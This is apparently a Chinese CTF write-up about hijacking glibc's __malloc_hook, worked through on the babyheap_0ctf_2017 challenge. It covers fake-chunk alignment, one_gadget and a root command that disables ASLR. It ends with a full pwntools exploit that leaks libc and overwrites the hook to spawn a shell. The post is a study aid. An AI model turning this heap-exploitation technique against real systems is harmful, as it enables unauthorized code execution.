劫持malloc_hook函数以及相关例题学习

学习于:劫持hook函数——学pwn小记(6) | lexsd6's home

malloc_hook以及free_hook劫持原理 | S3cana's Blog (seanachao.github.io)

0ctf_2017_babyheap详解_babyheap_0ctf_2017-CSDN博客

---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

前言

(博主在前面的学习中也仅仅只是接触过hook函数以及知道要劫持它的作用,但是具体的操作还未搞明白,所以今天下定决心开始学习)

Hook 原意是指 钩子 ,它表示的就是在某个函数的上下文做自定义的处理来实现我们想要的 黑科技

从图中可以看到,当我们使用malloc时会先检查有无malloc_hook函数,如果有就会去调用它,如果我们人为修改hook函数成一些我们想要程序执行的函数,我们在malloc就可以执行这些黑科技了。

当然讲到这个就不得不谈one_gadget了,one_gadget是libc中存在的一些执行execve("/bin/sh", NULL, NULL)的片段,当可以泄露libc地址,并且可以知道libc版本的时候,可以使用此方法来快速控制指令寄存器开启shell,

在使用one_gadget的时候我们都知道会有条件,以libc-2.23.so的版本为例子,如果我们所有的条件都不满足,那么我们就可以利用realloc来调整栈帧来找到更多的可能性去达成这个条件,当然这些都是后话了。

扯远了咳咳,先来看

malloc_hook

例题:babyheap_0ctf_2017,题目在buuctf上面可以找到

main函数:

malloc_chunk函数

 申请了一块区域,第一个参数是1,第二个参数是size(如果大于1000那么size就是1000),第三个是分配区域,这不就是chunk吗ovo?

 Fill_chunk()

 里面的sub_11B2()代码如下,传进去了两个参数,a1=申请的chunk的第三个参数,a2=输入的size,(博主看不出什么溢出的点,如果有可以联系我orz)

free_chunk,free之后没有置空,很明显的uaf

 

 put_chunk(),打印函数没什么好说的

 前面的泄露libc版本我就不给与展示了,感觉网上随便找一个都讲的很清楚,我在这里只展示malloc_hook部分,如有错误请多包涵orz(

 

 先关掉ALSR方便调试和记录

 #注意,这是在root权限下
echo 0 > /proc/sys/kernel/randomize_va_space
cat /proc/sys/kernel/randomize_va_space
#输出为0即为成功 

#恢复
echo 1 > /proc/sys/kernel/randomize_va_space

利用错位构造的方法,在这个malloc_hook附近要找到一个符合fake_chunk的部分,

可以利用pwndbg内置命令找到hook附近的fake_chunk

find_fake_fast 0x7ffff7bc3b10 0x7f #寻找符合条件的fake_chunk
x/10gx (long long)(&main_arena)-0x30 #寻找malloc_hook
x/10gx (long long)(&main_arena)-0x30+0xd #寻找realloc_hook

 

 

我们可以发现利用错位构造的fake_chunk是可以覆盖到malloc_hook中的,如果我们在里面填充数据,到malloc_hook中就修改它的地址,那么我们是不是就可以控制它了。

但是这个错位构造我们填充的数据需要仔细分析,

 首先是只发0x16个‘a’而不多发‘a’的情况,

 

 

 多发一个‘a’的情况

 

 

以此类推下去,在多发了3个‘a’的情况下就可以改变malloc_hook了(用p8(0)来填充也是可以的)

 

 此时我们再随便malloc一下就可以控制权限了。

 

完整的exp

 

from pwn import *

p = process("./babyheap")
#p=remote("node4.buuoj.cn",28668)

context.log_level = 'debug'
def alloc(size):
    p.recvuntil("Command: ")
    p.sendline(str(1))
    p.recvuntil("Size: ")
    p.sendline(str(size))

def fill(idx,size,content):
    p.recvuntil("Command: ")
    p.sendline(str(2))
    p.recvuntil("Index: ")
    p.sendline(str(idx))
    p.sendline(str(size))
    p.recvuntil("Content: ")
    p.sendline(content)

def free(idx):
    p.recvuntil("Command: ")
    p.sendline(str(3))
    p.recvuntil("Index: ")
    p.sendline(str(idx))

def dump(idx):
    p.recvuntil("Command: ")
    p.sendline(str(4))
    p.recvuntil("Index: ")
    p.sendline(str(idx))

alloc(0x10)#0
alloc(0x10)#1
alloc(0x10)#2
alloc(0x10)#3
alloc(0x80)#4

free(1)
free(2)

payload = p64(0)*3 + p64(0x21) + p64(0)*3 + p64(0x21)
payload += p8(0x80)
fill(0,len(payload),payload)

payload = p64(0)*3 + p64(0x21)
fill(3,len(payload),payload)

alloc(0x10)#1 The original position of 2
alloc(0x10)#2 4 Simultaneous pointing

payload = p64(0)*3 + p64(0x91)
fill(3,len(payload),payload)

alloc(0x80)

free(4)

dump(2)
content = u64(p.recvuntil(b'\x7f')[-6:]+b'\x00\x00')

#print(hex(content))
libc_base = (content) - 0x3c4b78
print('libc_base=')
print(hex(libc_base))

alloc(0x60)

free(4)
fake_chunk_addr = libc_base + 0x3C4AED
print('fake_chunk_addr=')
print(hex(fake_chunk_addr))
payload = p64(libc_base + 0x3C4AED)
fill(2,len(payload),payload)

alloc(0x60)
alloc(0x60)
#gdb.attach(p)
#pause()


payload = b'a'*(0x8+0x8+0x3)
payload += p64(libc_base+0x4526a)

fill(6,len(payload),payload)

alloc(52)
# gdb.attach(p)
p.interactive()
p.recvuntil("Size: ")

(本来想把free_hook和realloc_hook一起写完,但是篇幅太长怕被大伙疑似垃圾~,所以就分几篇记录吧,如有问题请联系我orz)

 

 

 

posted @ 2023-10-23 11:53  ModesL  阅读(663)  评论(0)    收藏  举报